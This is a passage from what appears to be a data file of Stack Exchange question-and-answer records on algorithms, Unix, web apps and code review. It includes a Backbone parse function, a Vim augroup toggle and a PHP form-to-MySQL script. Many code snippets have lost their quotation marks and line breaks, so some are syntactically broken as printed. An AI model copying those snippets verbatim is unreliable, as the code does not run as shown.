key k, add k to the back of the tree. This invalidates $O(1)$ node pointers and creates $O(1)$ new node pointers, so we need only perform $O(1)$ hash table operations. Dequeue is similar.To delete a key, we look it up in the hash table and find its location in the tree, then delete it from the tree. This takes $O(\\lg n)$ time in the tree, and invalidates $O(\\lg n)$ slots in the hash table. We must also maintain non-spine node size annotations in the tree, but this also only takes logarithmic time.To find the depth of a key, we first annotate the spine nodes of the tree with their number of descendants. This takes $O(\\lg n)$ time. We then look up the key in the hash table and find its location in the tree. We then follow parent pointers until we reach the root, summing the annotations at left siblings. Note that this is the exact depth."  , "title": "Keyed queues with depth queries and delete"  , "tags": "ds.data structures"  , "accepted_answer": "Your solution can be modified to do everything in $O(1)$ amortized time. Instead of maintaining a balanced tree, just keep track of the number of successful enqueue operations (those in which something was actually added to the back of the queue) and attach that number to queue along with the item during a successful enqueue operation. To find the depth of a key, just take the difference between the number of successful enqueues when it was enqueued, and the number of successful enqueues when the item currently at the front of the queue was enqueued. Note that this gives exact depth.If you're worried about storing excessively large values after many enqueue and dequeue operations, you can also keep track of the size of the queue and whenever the size is less than half the number of enqueues, re-number the number of enqueues for each entry to 1 through the size, and reset the number of enqueues to the size. Everything takes constant amortized time and each key takes at most one more bit than necessary to represent its depth at insertion."  } 
{  "id": "_cs.26047"  , "question": "Given an undirected and connected graph $G=(V,E)$ and two vertices $s,t$ and a vertex $d \\in V- \\{s,t\\}$, we would like to define a legal path as a path from $s$ to $t$, passes through $d$ (at least once) and is of even length (regarding number of edges). We need to find such a path that is  the shortest in $O(V+E)$ time.I thought about BFS from $s$ to find a shortest path to $d$, and BFS from $d$ to find shortest path to $t$, but then it wouldn't necessarily be of even length.Plus, such a path we're looking for is not necessarily simple.Any hints?"  , "title": "Shortest even path that goes through a vertex"  , "tags": "algorithms;graphs"  , "accepted_answer": "Your remark is true: there might be no simple even path from $s$ to $t$, an even path perhaps includes a cycle of odd length.The shortest path from $s$ to $t$ via $d$ is the shortest path from $s$ to $d$ plus the shortest path from there to $t$.To compute even length paths you might consider turning the graph into a bipartite graph using two copies of itself. Double $V$ by adding a copy $V'$. Now duplicate every edge $(x,y)$ into $(x,y')$  and $(x',y)$, where the primes indicate copies in $V'$. Now the shortest path from $s$ to $t$ will be of even length. (And all paths of even length in the original graph are 'represented' in the new graph.)Problem: the intermediate node $d$ might be $d'$, its copy in $V'$. Your turn to connect the two requirements 'via $d$' and 'even length'. "  } 
{  "id": "_datascience.16411"  , "question": "This question is only about the vocabulary.Do / can you saydata itemdata samplerecordingsampledata pointsomething elsewhen you talk about elements of the training / test set? For example:The figure shows 100 data items of the training set.Database A contains the same data items as database B, but in another format.The remaining data items were removed from the dataset.Those 10 classes have 123456 data items.Please provide papers with examples.According to Google n-grams:"  , "title": "How is a single element of the training set called?"  , "tags": "data;terminology"  , "accepted_answer": "The term you are looking for is Example.Source: Martin Zinkevich, Research Scientist at Google (http://martin.zinkevich.org/rules_of_ml/rules_of_ml.pdf)Instance: The thing about which you want to make a prediction. For example, the instance might be a web page that you want to classify as either about cats or not about cats.Label: An answer for a prediction task  either the answer produced by a machine learning system, or the right answer supplied in training data. For example, the label for a web page might be about cats.Feature: A property of an instance used in a prediction task. For example, a web page might have a feature contains the word 'cat'.Example: An instance (with its features) and a label."  } 
{  "id": "_webapps.9917"  , "question": "I'm looking for a strongly visual but still simple alternative to text-based chat. The important feature I'm looking for is a friendly visual representation of user state/emotion (available/away/busy), with a rough analog to actually being a room together. Chat would still be text-based, persistent (doesn't fade away) and mostly public (directed to the whole room). Visually distinguishing directed public chat would be nice. Private chat must also be possible. Being able to move avatars to different areas of the room would be nice.Simply having large customisable avatars on the side of a chatroom would be a good start. Does anything like this already exist?Ideally this would be an open standard technology built on existing standards (XMPP?), with no need for a server or a very light server, with an open-source, cross-platform client. And a pony.For non-web-app answers, see see https://superuser.com/questions/217129/simple-visual-virtual-presence-chat-clientExample of a mythical good answer: A one-screen Metaplace room with persistent chat history. (Pity Metaplace no longer exists and didn't have a persistent log.)Example of a poor answer: Microsoft Comic Chat: very visual but poor/confusing chatroom history, also no longer supportedExample of a bad answer: Second Life: big download to install, lots of bandwidth to run, complicated virtual environment, complicated user interface"  , "title": "Simple visual/virtual presence chat client"  , "tags": "webapp rec;chat;avatar"  } 
{  "id": "_unix.247203"  , "question": "So, basically I was messing up with minix and qemu and I messed up too much. me@meplepl ~ $ whichbash: /usr/bin/which: cannot execute binary file: Exec format errorme@meplepl ~ $ file  /bin/which/bin/which: Minix-386 executableI have the same problem with awk and somehow ssh.It turns out I somehow replaced my binaries with those from minix? Is there easy fix or I have to go back to my previous backup?"  , "title": "How do I repair binaries?"  , "tags": "binary"  , "accepted_answer": "If your package manager is in a working state, you can force reinstallation of the packages containing the binaries you overwrote.  Depending on your distro:apt-get  --reinstall install *package-name*rpm -iv --replacepkgs *package-name*yum reinstall *package-name* emerge *package-name*pacman -S *package-name*If that doesn't work, you say you have backups so I would just restore /bin and /usr/bin from the backup.A helpful way to avoid doing this in the future is the age old advice don't use the root account when you don't need to.  Once qemu is installed you can run it as your user.  The benefit is that your user cannot overwrite /usr/bin on the host, so you can't mess up your system."  } 
{  "id": "_webmaster.105025"  , "question": "My website has 6milions pages of companies.ex: www.mywebsite.com/company-aI will generate one sitemap index file and put the url in robots.txtWhen the company A update one information in your page(example: address), I will change the lastmod in sitemap file that contais the url www.mywebsite.com/company-a and I will change the lastmod for this sitemap in sitemap index file. After, I will send a ping for google to my sitemap index file url.My question is: Is it really worth doing this? What would be the gain in relation to not doing this update and send ping?"  , "title": "Sitemap update lastmod and ping. what is the advantage?"  , "tags": "seo;sitemap;ping"  } 
{  "id": "_unix.260240"  , "question": "I want to be able to completely close termite from within a bash script. I have something like this:while true; do    read -n 1 -s result    case $result in        [c]* ) exit 0;;    esacdoneAnd I want hitting c to close termite."  , "title": "Exit termite from within bash"  , "tags": "bash;arch linux;termite"  , "accepted_answer": "Execute your command with exec command to replace your bash with your script and when your script interpret exit command it will close your terminal.Run your command like: exec ./myscript.sh NOTE: Your script must have execute permission."  } 
{  "id": "_unix.261442"  , "question": "I have a requirement to identify sequence gap in a set of files. Sequence starts at FILENAME_0001 and ends at FILENAME_9999. After this the sequence is restarted from 0001.To implement a proper sequence check I used ls -rt to pick the files in order of modified time and the compared with the previous files sequence number. If the previous file was 9999 I check whether the next one is 0001 (to accommodate the sequence reset). Recently I came across a scenario where files were listed in the below order:FILENAME_0001 FILENAME_0002FILENAME_0005FILENAME_0003FILENAME_0004FILENAME_0006FILENAME_0007This was because files 3, 4 & 5 had the same modified time to the second. Only the millisecond was different. So I am guessing ls -rt considers only upto the seconds. Could someone suggest a workaround? "  , "title": "File sort by time issue"  , "tags": "ls;sort"  , "accepted_answer": "If your find has printf, print out the mtime in seconds followed by the filename, then use sort, and finally cut:find . -type f -printf %T@\\t%f\\n |sort -k 1n -k 2 |cut -f 2-The find outputs TIMESTAMP FILENAME on each line. The sort first sorts the timestamps in numerical order. If the timestamps are equal, it will use the filename as a last resort. The cut removes the timestamp from the output.EDIT: Your perl solution works, but I would do it differently. Here's the simplest:find . -type f -print | perl -lne 'print (((stat($_))[9].\\t.$_)' |sort -k 1n -k 2 |cut -f 2-No need to convert the time to a string and back again. Just output stat's mtime as a numeric value as find would have done."  } 
{  "id": "_codereview.11759"  , "question": "In my Backbone.Collection I need to parse the response before to render it in Backbone.View.  The following code works, but it will be great to have some suggestions:// response is array of object // [{id:1, prop: null },{id:2, prop: bar }]// the output parsed_response can be //[{id:1, prop: null, isProp: true },// {id:2, prop: bar, isProp: false }]parse: function(response){    var parsed_response;    parsed_response = _(response).clone();    var parsed_response = _.map(parsed_response, function (obj) {         return function (_obj) {            if (_obj.prop ===  || typeof _obj.prop === null ) {                _obj.isProp = false;            }             else {                _obj.isProp = true;            }            return _obj;        }(obj)     });    return parsed_response;}My questions are:Is there a way to improve the code?  Also renaming the name of variables to make it more clear.   Since this code should be reused from other collections, what is the best way to generalise it?"  , "title": "How to parse a collection of objects in Backbone?"  , "tags": "javascript;backbone.js"  , "accepted_answer": "Based on the way your parse function works you're worried about mutability. Your code can be much shorter. Also, your use of _.clone is wasted since it's only a shallow copy. I've rewritten parse code and now it looks like this:// response is array of object // [{id:1, prop: null },{id:2, prop: bar }]// the output parsed_response can be //[{id:1, prop: null, isProp: true },// {id:2, prop: bar, isProp: false }]parse: function(response){    return _.map(response, function(obj) {        obj = _.clone(obj);        obj.isProp = obj.prop !==  && obj.prop !== null;        return obj;    });}If you want further explanation let me know :)The only thing I'm concerned with is how your prop works? Can you just check for a falsey value here (i.e. !obj.prop) or do you really need to explicitly check for an empty string or null?In term of re-usability, you're covered here. parse() doesn't reference this so it can more or less be called statically from anywhere in your code. But be careful where you use it from, if you start calling this all over the place, it would make more sense to refactor this parse() function to a more generic object."  } 
{  "id": "_softwareengineering.272206"  , "question": "I have been asked to provide a C-library of my code (which I have written in a high-level language). I will hire a programmer to implement my code in C. I would like a short introduction to what a C-library means before I start this process. Is it correct that I can provide a C-library and that the people who use it will not be able to see the actual source code?I understand that the library will inlude .h-files which determine how the people that I give the code to will interact with the library. Can I have just one of these files so that the internal structure is hidden?In this situation, I assume that the library should be dynamically linked. Why is that?"  , "title": "C-library - newbie guide"  , "tags": "c;libraries"  , "accepted_answer": "YesYesIt doesn't have to be dynamically linked.In detail: When creating a library (doesn't have to be in C, but I assume this means it needs to expose its functionality in the form of exported C functions) then the source code is turned into the equivalent machine instructions. While a skilled hacker could turn this machine code back into a higher level language, its really awkward and the resulting decompilation is really difficult for a human to understand. So you're pretty much safe from anyone stealing your algorithms, unless they're really worth the effort.In order to use a library like this, you need a way to tell programs that link with the lib what is inside it, this is typically done with a header file. A single header containing only those exported functions is fine. The only reason people use multiple headers is because they don't want the trouble of maintaining duplicates and so simply ship the headers used in development.The choice of dynamic or static is up to you. A dynamic library can be replaced with a newer version easily. This is the most common reason to ship in this format. "  } 
{  "id": "_unix.203943"  , "question": "I'm trying to run a older SIMetrix Version on Ubuntu 15.04 64bit (if there is a newer version of SIMetrix around tell me!). When I do it I get following error: user@user-Ubuntu-Laptop:/opt/simetrix_intro_53/bin$ ./SIMetrix ./SIMetrix: error while loading shared libraries: libXext.so.6: cannot open shared object file: No such file or directoryBut when I run sudo ldconfig -v | grep Xext the output is libXext.so.6 -> libXext.so.6.4.0.So why is the file not found? Running SIMetrix with sudo doesn't help.user@user-Ubuntu-Laptop:/opt/simetrix_intro_53/bin$ sudo linux32 --3gb ./SIMetrix./SIMetrix: error while loading shared libraries: libXext.so.6: cannot open shared object file: No such file or directory$ file ./SIMetrix./SIMetrix: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.2.5, stripped$ uname -aLinux user-Ubuntu-Laptop 3.19.0-16-generic #16-Ubuntu SMP Thu Apr 30 16:09:58 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux$ ldd ./SIMetrix    linux-gate.so.1 =>  (0xf777f000)    libSupportDll.so => /opt/lib/simetrix/5.3/libSupportDll.so (0xf7704000)    libqt-mt.so.3 => /opt/lib/simetrix/5.3/libqt-mt.so.3 (0xf6ed9000)    libXext.so.6 => /usr/lib/i386-linux-gnu/libXext.so.6 (0xf6ec3000)    libX11.so.6 => /usr/lib/i386-linux-gnu/libX11.so.6 (0xf6d78000)    libpthread.so.0 => /lib/i386-linux-gnu/libpthread.so.0 (0xf6d5b000)    libstdc++.so.5 => not found    libm.so.6 => /lib/i386-linux-gnu/libm.so.6 (0xf6d0e000)    libgcc_s.so.1 => /lib/i386-linux-gnu/libgcc_s.so.1 (0xf6cf0000)    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf6b35000)    libdl.so.2 => /lib/i386-linux-gnu/libdl.so.2 (0xf6b30000)    libstdc++.so.5 => not found    libGL.so.1 => not found    libXmu.so.6 => not found    libSM.so.6 => not found    libICE.so.6 => not found    libstdc++.so.5 => not found    libxcb.so.1 => /usr/lib/i386-linux-gnu/libxcb.so.1 (0xf6b0d000)    /lib/ld-linux.so.2 (0xf7780000)    libXau.so.6 => /usr/lib/i386-linux-gnu/libXau.so.6 (0xf6b08000)    libXdmcp.so.6 => /usr/lib/i386-linux-gnu/libXdmcp.so.6 (0xf6b01000)"  , "title": "Cannot open shared object file Error even though ldconfig is showning entry"  , "tags": "ubuntu;libraries"  } 
{  "id": "_unix.337752"  , "question": "I would like to be able to perform actions on files in different locations within a common window/container. Let's say I have the following directory structure: DCIM   browser-photos       merel.jpg       yent.jpg       raha.jpg   Camera       laki.jpg       wion.jpg       darta.jpg       qonad.jpg       isha.jpg       mowi.jpg       kaens.jpg3 directories, 10 filesIs it possible for me to start a file manager like Thunar or Ranger in a way that would let me view all 10 files on a single level (no nesting), and when I perform an action on a single file (e.g. remove)  it's performed within the file's location.This isn't just for images. I'm currently going through a few old hard drives and I'm spending a lot of time traversing through unnecessary hierarchies."  , "title": "Union based file manager"  , "tags": "files;directory;thunar;ranger"  } 
{  "id": "_softwareengineering.310980"  , "question": "I'm building a new CMS with Node.js, and I have a question.Would adding WordPress-like multi-site support to the system be a good idea? Or should I let the user handle it via a reverse proxy like nginx?I realise that having a single process handling vhosts that share a single database can be advantageous in some ways, but it would have its caveats as well.I would love to hear your input on this, since I can't decide on my own."  , "title": "CMS Design: Is multi-site a good idea?"  , "tags": "design;architecture;cms"  , "accepted_answer": "This largely depends on the scalability, and (perhaps even more importantly) the scalability of the platforms you plan for your CMS to run on.For example, a lightweight (i.e. AWS t2.micro) server would handle several (not hundreds, but enough) low-volume sites very easily.  However, a single high-volume site (think Wikipedia, etc) is obviously distributed over many MUCH more heavyweight servers (not the plural).Where this becomes a problem, is in the ability of one site to scale up.  Let's say someone's political blog (running on your new CMS) gets linked from CNN..  In about five minutes it goes from a few dozen hits a day to hundreds per second.  Now, obviously the underlying platform scalability is dependant upon your platform (AWS, Azure, actually hosting it on a real life computer under your desk, etc) - but the ability of your CMS to leverage the resources it has in such a situation is VERY MUCH impacted by hosting multi-sites rather than having a dedicated instance.There is also the human element to consider.  Let's say your multi-site instance is hosting sites from different users... Now when Fred's politics blog goes viral, Aunty May's Delicious Biscuits Website also slows down (or even goes offline entirely).  This is a lot more difficult to explain to poor old aunty May than if Fred was the holder of all of the virtual sites in the instance (i.e. Fred's politics blog's popularity made Fred's scrap-booking site go offline).Obviously there are performance benefits to be gained from things like DB connection pooling, etc for multi-site systems (otherwise they wouldn't exist).  But make sure sites can be promoted as they become more popular (and require more resources).  A small site that starts out as a virtual entry in a multi-site system may one day become a behemoth (perhaps not as large as Wikipedia, but still) requiring multiple dedicated servers and databases.Overall, I would try and take a good look at your expected use-cases/users/etc.  How likely is it that there will be popular sites (you can assume unlikely, but never impossible), how likely is it one user will want to have multiple virtual sites on this CMS?  For that number of users is it worth the extra development effort?  Would most (or all) of those users easily know how/be willing to just use nginx to manage it if you didn't do multi-site?"  } 
{  "id": "_webapps.9022"  , "question": "How can I sync Diigo with Google Bookmarks without having to manually import/export continuously?"  , "title": "Sync Diigo with Google Bookmarks"  , "tags": "google bookmarks;diigo"  } 
{  "id": "_codereview.158412"  , "question": "Good Morning Gents, I'm trying to practice functional programing using javascript. These pure functions just work together to find the difference between two arrays. I know that this might be an impractical example of functional programing but, could you let me know where I can improve or maybe where i've misunderstood an fp technique.use strict;let find = (arr1) => (arr2) => {  let diff1 = findDiff(arr1)(arr2);  let diff2 = findDiff(arr2)(arr1);  return concat(diff1)(diff2);};let concat = (arr1) => (arr2) => arr1.concat(arr2);let findDiff = (arr1) => (arr2) => arr1.filter( (elem) => arr2.indexOf(elem) < 0 );let sweet = find( [1,2,3,4,5] )( [1,2,3,5,6] );console.log(sweet);"  , "title": "Finding the difference between two different arrays using JS and FP"  , "tags": "javascript;functional programming"  , "accepted_answer": "I am concerned that you really haven't defined difference here and that perhaps your code does not perform the way you expect.You example is quite simple in that you would expect [4, 6].  But what if you had arrays like:[1, 1, 2, 2, 3, 3, 4, 4, 5, 5][1, 2, 3, 5, 6]What do you expect to be returned?  Currently, your function would return [4, 4, 6], but is that what you expect, or would each instance of a repeated value need to be treated differently (i.e. return would be [1, 2, 3, 4, 4, 5, 6])?Have you considered flipping your array values into object keys (if type conversion is not a concern) or using Array.sort() on input arrays in combination with fromIndex parameter to Array.indexOf() to minimize array iteration caused by Array.indexOf()? This may not be a concern if you don't expect to be diffing large arrays.Do you really want to support the find()() syntax for this? I don't really see much value in nesting your function calls in this manner vs. just using:let find = (arr1, arr2) => {    // function logic}You are not ever returning the intermediate function for possible use elsewhere, so I don't follow the need for this approach.I agree with the comment from @GregBurghardt around not unneccesarily wrapping native array functions.I don't like the function being called find.  Perhaps something more descriptive to what is actually happening here like arrayDiff(). You are not finding here at all.To me this whole thing would be clearer/simpler like this:let arrayDiff = (arr1, arr2) => {    return arr1.filter( elem => arr2.indexOf(elem) < 0 )       .concat(            arr2.filter( elem => arr1.indexOf(elem) < 0 )       );};Note, this obviously does not address some of the questions I asked about uniqueness of array values or optimization of the filter operations."  } 
{  "id": "_unix.363247"  , "question": "Installed and configured xrdp and I am able to connect from a Windows mstsc.exe but only as root. I found this forum post dealing with the situation where the only user who can log into a machine running xrdp is root: https://forums.kali.org/showthread.php?32062-Unable-to-login-using-xrdp-and-non-root-usernameButthere is no Xwrapper.config in the specified directory on my machine. The commands man Xwrapper.config and man XOrg.wrap do not work.and when I create this file as he specified and reboot, there is nochange.OS: Fedora 19 (it will NOT be upgraded for the purposes of this question)How can I allow other users to log in via RDP and disallow remote root logins?"  , "title": "Only root can log into the machine running xrdp"  , "tags": "fedora;xrdp"  , "accepted_answer": "The sesman.ini config file has entries for allowed users and groups.look at man sesman.ini for the exact usage of theses keys.TerminalServerUsersTerminalServerAdminsAlwaysGroupCheck"  } 
{  "id": "_webapps.85774"  , "question": "I have just started using cognito forms and have hit a brick wall as I am not a pro when it comes to formulas.I have a section that has (5) Radio button choices with the following titles;2' x 2'    2' x 4'    4' x 4'   4' x 6'   4' x 8'when one of these buttons is selected for example number (2) 2' x 4' I would like to take the answer to that which is 8 and multiply that number by another field which has asked for the quantity.another example is someone types in the quantity field (6) and then they select radio button number (5) which is 4' x 8' the answer to this formula needs to be (4' x 8')*(6) = 192"  , "title": "How to calculate using cognito form choices from radio button"  , "tags": "cognito forms"  } 
{  "id": "_webmaster.104440"  , "question": "I am seeing my Google my business page website visits as - 4,412 while in google analytics sessions - 8,000 for same month (1 month data). We are using utm parameters to capture GMB listings clicks in analytics account. Any idea why is there so much difference between this data."  , "title": "Discrepancy between Google My Business and Google Analytics Sessions Data"  , "tags": "google analytics;visitors;session;google my business"  } 
{  "id": "_cs.8952"  , "question": "Let $B$ be a boolean formula consisting of the usual AND, OR, and NOT operators and some variables.  I would like to count the number of satisfying assignments for $B$. That is, I want to find the number of different assignments of truth values to the variables of $B$ for which $B$ assumes a true value. For example, the formula $a\\lor b$ has three satisfying assignments; $(a\\lor b)\\land(c\\lor\\lnot b)$ has four. This is the #SAT problem.Obviously an efficient solution to this problem would imply an efficient solution to SAT, which is unlikely, and in fact this problem is #P-complete, and so may well be strictly harder than SAT. So I am not expecting a guaranteed-efficient solution.But it is well-known that there are relatively few really difficult instances of SAT itself. (See for example Cheeseman 1991, Where the really hard problems are.) Ordinary pruned search, although exponential in the worst case, can solve many instances efficiently; resolution methods, although exponential in the worst case, are even more efficient in practice.  My question is:Are any algorithms known which can quickly count the number of satisfying assignments of a typical boolean formula, even if such algorithms require exponential time in the general instance? Is there anything noticeably better than enumerating every possible assignment?"  , "title": "Is there a sometimes-efficient algorithm to solve #SAT?"  , "tags": "complexity theory;reference request;satisfiability"  , "accepted_answer": "Counting in the general caseThe problem you are interested in is known as #SAT, or model counting. In a sense, it is the classical #P-complete problem. Model counting is hard, even for $2$-SAT! Not surprisingly, the exact methods can only handle instances with around hundreds of variables. Approximate methods exist too, and they might be able to handle instances with around 1000 variables. Exact counting methods are often based on DPLL-style exhaustive search or some sort of knowledge compilation. The approximate methods are usually categorized as methods that give fast estimates without any guarantees and methods that provide lower or upper bounds with a correctness guarantee. There are also other methods that might not fit the categories, such as discovering backdoors, or methods that insist on certain structural properties to hold on the formulas (or their constraint graph).There are practical implementations out there. Some exact model counters are CDP, Relsat, Cachet, sharpSAT, and c2d. The sort of main techniques used by the exact solvers are partial counts, component analysis (of the underying constraint graph), formula and component caching, and smart reasoning at each node. Another method based on knowledge compilation converts the input CNF formula into another logical form. From this form, the model count can be deduced easily (polynomial time in the size of the newly produced formula). For example, one might convert the formula to a binary decision diagram (BDD). One could then traverse the BDD from the 1 leaf back to the root. Or for another example, the c2d employs a compiler that turns CNF formulas into deterministic decomposable negation normal form (d-DNNF).If your instances get larger or you don't care about being exact, approximate methods exist too. With approximate methods, we care about and consider the quality of the estimate and the correctness confidence associated with the estimate reported by our algorithm. One approach by Wei and Selman [2] uses MCMC sampling to compute an approximation of the true model count for the input formula. The method is based on the fact that if one can sample (near-)uniformly from the set of solution of a formula $\\phi$, then one can compute a good estimate of the number of solutions of $\\phi$. Gogate and Dechter [3] use a model counting technique known as SampleMinisat. It's based on sampling from the backtrack-free search space of a boolean formula. The technique builds on the idea of importance re-sampling, using DPLL-based SAT solvers to construct the backtrack-free search space. This might be done either completely or up to an approximation. Sampling for estimates with guarantees is also possible. Building on [2], Gomes et al. [4] showed that using sampling with a modified randomized strategy, one can get provable lower bounds on the total model count with high probabilistic correctness guarantees. There is also work that builds on belief propagation (BP). See Kroc et al. [5] and the BPCount they introduce. In the same paper, the authors give a second method called MiniCount, for providing upper bounds on the model count. There's also a statistical framework which allows one to compute upper bounds under certain statistical assumptions.Algorithms for #2-SAT and #3-SATIf you restrict your attention to #2-SAT or #3-SAT, there are algorithms that run in $O(1.3247^n)$ and $O(1.6894^n)$ for these problems respectively [1]. There are slight improvements for these algorithms. For example, Kutzkov [6] improved upon the upper bound of [1] for #3-SAT with an algorithm running in time $O(1.6423^n)$.As is in the nature of the problem, if you want to solve instances in practice, a lot depends on the size and structure of your instances. The more you know, the more capable you are in choosing the right method.[1] Vilhelm Dahllf, Peter Jonsson, and Magnus Wahlstrm. Counting Satisfying Assignments in 2-SAT and 3-SAT. In Proceedings of the 8th Annual International Computing and Combinatorics Conference (COCOON-2002), 535-543, 2002.[2] W. Wei, and B. Selman. A New Approach to Model Counting. In Proceedings of SAT05: 8th International Conference on Theory and Applications of Satisfiability Testing, volume 3569 of Lecture Notes in Computer Science, 324-339, 2005.[3] R. Gogate, and R. Dechter. Approximate Counting by Sampling the Backtrack-free Search Space. In Proceedings of AAAI-07: 22nd National Conference on Artificial Intelligence, 198203, Vancouver, 2007.[4] C. P. Gomes, J. Hoffmann, A. Sabharwal, and B. Selman. From Sampling to Model Counting. In Proceedings of IJCAI-07: 20th International Joint Conference on Artificial Intelligence, 22932299, 2007.[5] L. Kroc, A. Sabharwal, and B. Selman. Leveraging Belief Propagation, Backtrack Search, and Statistics for Model Counting. In CPAIOR-08: 5th International Conference on Integration of AI and OR Techniques in Constraint Programming, volume 5015 of Lecture Notes in Computer Science, 127141, 2008.[6] K. Kutzkov. New upper bound for the #3-SAT problem. Information Processing Letters 105(1), 1-5, 2007."  } 
{  "id": "_webapps.982"  , "question": "There's nothing I hate more than receiving spammy notifications from other people's applications on facebook.  However, Sometimes I come across a useful application that I authorize to interact with my facebook account and I cannot tell if it subsequently sends out the same bothersome notifications to my friends.  Is there a way to track what an application is sending?"  , "title": "How can I tell when Facebook applications are spamming my friends?"  , "tags": "facebook;notifications"  , "accepted_answer": "You could create a second account just for the purpose of monitoring how your own account is perceived by other people. It's not the best method but it should give you the most accurate judgement."  } 
{  "id": "_vi.4120"  , "question": "I created an augroup in my .vimrc containing several autocmd and I need to enable/disable these autocommand on the fly. The idea is to create a mapping (let's say F4 for example) which would enable these autocommands when pressed once and disable them when pressed again without having to source a file or reload the .vimrc.How can I do that?"  , "title": "How to enable/disable an augroup on the fly?"  , "tags": "key bindings;autocmd"  , "accepted_answer": "Building on your answer: you don't need a variable to keep state of the augroup, you can use exists() for that, provided that you know at least one of the autocmds that are part of the group:function! ToggleTestAutoGroup()    if !exists('#TestAutoGroup#BufEnter')        augroup TestAutoGroup            autocmd!            autocmd BufEnter   * echom BufEnter  . bufnr(%)            autocmd BufLeave   * echom BufLeave  . bufnr(%)            autocmd TabEnter   * echom TabEnter  . tabpagenr()            autocmd TabLeave   * echom TabLeave  . tabpagenr()        augroup END    else        augroup TestAutoGroup            autocmd!        augroup END    endifendfunctionnnoremap <F4> :call ToggleTestAutoGroup()<CR>"  } 
{  "id": "_unix.66220"  , "question": "/usr/share/tipp10$ llinsgesamt 9408drwxr-xr-x   3 myname ssl-cert    4096 Feb 26 20:07 ./drwxr-xr-x 288 root   root       12288 Feb 26 20:07 ../-rwxrwxrwx   1 myname ssl-cert    9480 Okt  6  2010 error.wav*drwxrwxrwx   4 myname ssl-cert    4096 Feb 26 20:07 help/-rwxrwxrwx   1 myname ssl-cert   16368 Dez 30  2010 license_de.txt*-rwxrwxrwx   1 myname ssl-cert   16291 Dez 30  2010 license_en.txt*-rwxrwxrwx   1 myname ssl-cert    5928 Okt  6  2010 metronome.wav*-rwxrwxrwx   1 myname ssl-cert 9537480 Mr 11  2011 tipp10*-rwxrwxrwx   1 myname ssl-cert    1255 Nov  7  2008 tipp10.png*-rwxrwxrwx   1 myname ssl-cert   13312 Dez 18  2010 tipp10v2.template*/usr/share/tipp10$ pwd tipp10/usr/share/tipp10/usr/share/tipp10$ file tipp10tipp10: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.4, not strippedmanuel@P5KC:/usr/share/tipp10$ ldd tipp10    \\tdas Programm ist nicht dynamisch gelinkt   # (Program is not dynamic linked)/usr/share/tipp10$ ./tipp10bash: ./tipp10: File not foundUbuntu 12.04 x64 What the heck is wrong here?EDIT:   --------------------- SOLUTION ---------------------.. for those, who dont want to read the complete dup article.My OS is 64-bit. I though 32-bit apps would run on 64-bit machines. 32-bit apps can run on a 64-bit machine, but only if the requisite supporting libraries are installed. For running 32-bit programs, try installing the ia32-libs package."  , "title": "Existing file can not be found?"  , "tags": "permissions;files;executable"  } 
{  "id": "_webapps.59505"  , "question": "There is a quote formatting option within Gmail, but no unquote to undo the deeper quote level. How do I unquote text?"  , "title": "How do I unquote in Gmail?"  , "tags": "gmail"  , "accepted_answer": "By clicking on the decrease indent icon."  } 
{  "id": "_unix.153556"  , "question": "We are using several Ubuntu servers having English as working language; however having en_US locale set in machines we encounter problems with apt-cacher-ng downloading translation files. One solution is to change locale to POSIX.Considering all options we want to change locale in all the systems.What are the consequences for the system of changing locales from en_US value to POSIX? Are there any implications on LC_* apart from change of the value?"  , "title": "Consequences of setting up POSIX locales"  , "tags": "apt;locale;apt cacher"  } 
{  "id": "_codereview.129782"  , "question": "This is the first time I've tried this. I'd like some feedback on how I did, including any bad practice warnings. For example is it a really bad idea to allow the code to recreate the table if it doesn't think it exists? Would it be better to simply create the table once in a different file?<?php/*Database and mail functionality*/// get user credentials$config = parse_ini_file('../config.ini'); // path may vary depending on setup// Create connection$conn = new mysqli('localhost', $config['username'], $config['password'],$config['dbname']);// Check connectionif ($conn->connect_error){    die('Connection failed. ' . $conn->connect_error);}// if table not made yet, create itif(!$conn->query (DESCRIBE visitors)) {    // sql to create table    $sql = 'CREATE TABLE visitors(        id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY,        name VARCHAR(30) NOT NULL,        email VARCHAR(50) NOT NULL,        message VARCHAR(500),        reg_date TIMESTAMP    )';    if (!$conn->query($sql)){        die ('Sorry there was an error. Please try again later.');    }}//insert data into table//clean data for SQL query$name = mysqli_real_escape_string($conn, $data['name']);$email = mysqli_real_escape_string($conn, $data['email']);$message = mysqli_real_escape_string($conn, $data['message']);$sql = INSERT INTO visitors (name, email, message)    VALUES ('$name', '$email', '$message');if ($conn->query($sql) === TRUE) {    $usrMsg = 'Thank you we\\'ll be in touch when we have some news';} else {    die (Sorry, there was an Error. Please try again later.);}// close connection$conn->close();// email// addresses and default subject$to = ''; // add details$from = ''; // add details$subject = 'New form entry on website';// prepare message variables - !not sure how to make quotes etc. display properly in email body$message = wordwrap($data['message']);$body = <<<_ENDName: {$data['name']}Email: {$data['email']}Message: $message_END;// sendmail($to, $subject, $body, $from);?>"  , "title": "PHP store data from form into MySql DB"  , "tags": "php;mysql;form"  , "accepted_answer": "Since, as you mentioned, you are pretty new to this, i will start with some novice level advice:You should refactor your code into seperated functions, both in order to seperate functionality with different purpose, and to be able to reuse.function connect_db($config) {// Create connection    $conn = new mysqli('localhost', $config['username'], $config['password'],$config['dbname']);    // Check connection    if ($conn->connect_error){        die('Connection failed. ' . $conn->connect_error);    }    return $conn;}function prepare_visitors_table($conn) {    // if table not made yet, create it    if(!$conn->query (DESCRIBE visitors)) {        // sql to create table        $sql = 'CREATE TABLE visitors(            id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY,            name VARCHAR(30) NOT NULL,            email VARCHAR(50) NOT NULL,            message VARCHAR(500),            reg_date TIMESTAMP        )';        if (!$conn->query($sql)){            die ('Sorry there was an error. Please try again later.');        }    }}function save_visitor($conn, $name, $email, $message){    //insert data into table    //clean data for SQL query    $name = mysqli_real_escape_string($conn, $name);    $email = mysqli_real_escape_string($conn, $email);    $message = mysqli_real_escape_string($conn, $message);    $sql = INSERT INTO visitors (name, email, message)        VALUES ('$name', '$email', '$message');    return $conn->query($sql) ;}function send_visitor_notification($name, $email, $message){    // email    // addresses and default subject    $to = ''; // add details    $from = ''; // add details    $subject = 'New form entry on website';    // prepare message variables - !not sure how to make quotes etc. display properly in email body    